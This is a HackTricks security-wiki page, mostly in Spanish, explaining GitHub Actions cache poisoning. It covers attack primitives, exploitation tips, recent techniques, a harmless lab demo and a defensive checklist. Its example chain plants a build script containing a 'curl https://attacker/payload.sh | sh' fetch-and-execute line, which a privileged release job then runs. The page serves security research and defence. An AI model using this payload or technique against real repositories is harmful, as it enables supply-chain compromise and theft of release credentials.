GH Actions - Cache Poisoning
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Visión general
La caché de GitHub Actions es global para un repository. Cualquier workflow que conozca un cache key (o restore-keys) puede poblar esa entrada, incluso si el job solo tiene permissions: contents: read. GitHub no segrega las cachés por workflow, tipo de evento o nivel de confianza, por lo que un atacante que comprometa un job de bajo privilegio puede envenenar una caché que un job de release privilegiado restaurará después. Así fue como la compromisión de Ultralytics pivotó desde un workflow pull_request_target hacia la canalización de publicación en PyPI.
Primitivas de ataque
actions/cacheexpone tanto operaciones de restore como de save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). La llamada save está permitida para cualquier job excepto lospull_requestverdaderamente no confiables disparados desde forks.- Las entradas de caché se identifican únicamente por el
key. Ampliosrestore-keysfacilitan la inyección de payloads porque el atacante solo necesita colisionar con un prefijo. - cache keys and versions son valores especificados por el cliente; el servicio de caché no valida que una key/version coincida con un workflow de confianza o una ruta de caché.
- La URL del servidor de caché + el runtime token son de larga duración en relación con el workflow (históricamente ~6 horas, ahora ~90 minutos) y no son revocables por el usuario. A finales de 2024 GitHub bloquea las escrituras en la caché después de que el job originario termina, por lo que los atacantes deben escribir mientras el job aún se está ejecutando o pre-envenenar keys futuras.
- El sistema de archivos en caché se restaura tal cual. Si la caché contiene scripts o binarios que se ejecutan después, el atacante controla esa ruta de ejecución.
- El propio archivo de caché no se valida al restaurar; es simplemente un archivo comprimido con zstd, por lo que una entrada envenenada puede sobrescribir scripts,
package.jsonu otros archivos bajo la ruta de restauración.
Ejemplo de cadena de explotación
El workflow del autor (pull_request_target) envenenó la caché:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privileged workflow restauró y ejecutó la poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
El segundo job ahora ejecuta código controlado por el atacante mientras tiene release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
Las entradas de cache de GitHub Actions son típicamente archivos tar comprimidos con zstd. Puedes crear uno localmente y subirlo al cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
En un cache hit, la restore action extraerá el archivo tal cual. Si la cache path incluye scripts o archivos de configuración que se ejecutan más tarde (build tooling, action.yml, package.json, etc.), puedes sobrescribirlos para conseguir ejecución.
Consejos prácticos de explotación
- Apunta a workflows triggered by
pull_request_target,issue_comment, o comandos de bot que todavía guardan caches; GitHub les permite sobrescribir claves a nivel de repositorio incluso cuando el runner solo tiene acceso de lectura al repo. - Busca cache keys deterministas reutilizadas a través de fronteras de confianza (por ejemplo,
pip-${{ hashFiles('poetry.lock') }}) orestore-keyspermisivos, y guarda tu tarball malicioso antes de que el workflow privilegiado se ejecute. - Monitorea logs en busca de entradas
Cache savedo añade tu propio paso de cache-save para que el siguiente release job restaure la carga y ejecute los scripts o binarios troyanizados.
Técnicas más recientes observadas en la cadena Angular (2026)
- Cache v2 “prefix hit” behavior: En Cache v2, misses exactos aún pueden restaurar otra entrada que comparta el mismo prefijo de clave (efectivamente “all keys are restore keys”). Los atacantes pueden presembrar claves con colisiones cercanas para que un futuro miss caiga sobre el objeto envenenado.
- Forced eviction in one run: Desde November 20, 2025, GitHub expulsa entradas inmediatamente cuando el uso de cache del repositorio excede el límite (10 GB por defecto). Un atacante puede subir datos de cache basura primero, expulsar entradas legítimas durante el mismo job, y luego escribir la clave de cache maliciosa sin esperar el ciclo diario de limpieza.
setup-nodecache pivots via reusable actions: Reusable/internal actions que envuelvenactions/setup-nodeconcache-dependency-pathpueden silente puente entre workflows de baja confianza y alta confianza. Si ambos paths hashean a claves compartidas, envenenar la dependencia de cache puede ejecutarse en automatización privilegiada (por ejemplo Renovate/bot jobs).- Chaining cache poisoning into bot-driven supply chain abuse: En el caso Angular, el cache poisoning expuso un bot PAT, que luego fue usable para forzar push de heads de PR propiedad del bot después de la aprobación. Si las reglas de reset de aprobación eximen a actores bot, esto permite intercambiar commits revisados por otros maliciosos (por ejemplo imposter action SHAs) antes del merge.
##å Cacheract
Cacheract es un toolkit centrado en PoC para GitHub Actions cache poisoning en pruebas autorizadas. El valor práctico es que automatiza las partes frágiles que son fáciles de fallar manualmente:
- Detecta y utiliza runtime cache context desde el runner (
ACTIONS_RUNTIME_TOKENy la URL del servicio de cache). - Enumera y apunta a candidate cache keys/versions usadas por workflows downstream.
- Fuerza eviction sobrellenando la cuota de cache (cuando aplica) y luego escribe entradas controladas por el atacante en la misma ejecución.
- Siembra contenido de cache envenenado para que workflows posteriores restauren y ejecuten tooling modificado.
Esto es especialmente útil en entornos Cache v2 donde el timing y el comportamiento de key/version importan más que en implementaciones tempranas de cache.
Demo
Usa esto solo en repositorios que poseas o en los que estés explícitamente autorizado a probar.
1. Flujo de trabajo vulnerable (untrusted trigger puede guardar cache)
This workflow simulates a pull_request_target anti-pattern: it writes cache content from attacker-controlled context and saves it under a deterministic key.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Flujo de trabajo privilegiado (restaura y ejecuta binario/script en caché)
Este flujo de trabajo restaura la misma clave y ejecuta toolchain/bin/build mientras mantiene un secreto ficticio. Si está envenenado, la ruta de ejecución queda controlada por el atacante.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Ejecutar el laboratorio
- Añade un archivo estable
toolchain.lockpara que ambos workflows resuelvan la misma cache key. - Dispara
untrusted-cache-writerdesde un PR de prueba. - Dispara
privileged-consumermedianteworkflow_dispatch. - Confirma que
POISONED_BUILD_PATHaparece en los logs y que/tmp/cache-poisoning-demo.txtse crea.
4. Lo que esto demuestra técnicamente
- Ruptura de confianza entre workflows en la cache: Los workflows writer y consumer no comparten el mismo nivel de confianza, pero sí comparten el namespace de cache.
- Riesgo de ejecución al restaurar: No se realiza ninguna validación de integridad antes de ejecutar un script o binario restaurado.
- Abuso de claves deterministas: Si un job de alto nivel de confianza usa claves predecibles, un job de baja confianza puede preposicionar contenido malicioso.
5. Lista de verificación defensiva
- Divide las claves por límite de confianza (
pr-,ci-,release-) y evita prefijos compartidos. - Desactiva las escrituras en la cache en workflows no confiables.
- Calcula/verifica el hash del contenido ejecutable restaurado antes de ejecutarlo.
- Evita ejecutar herramientas directamente desde rutas de cache.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

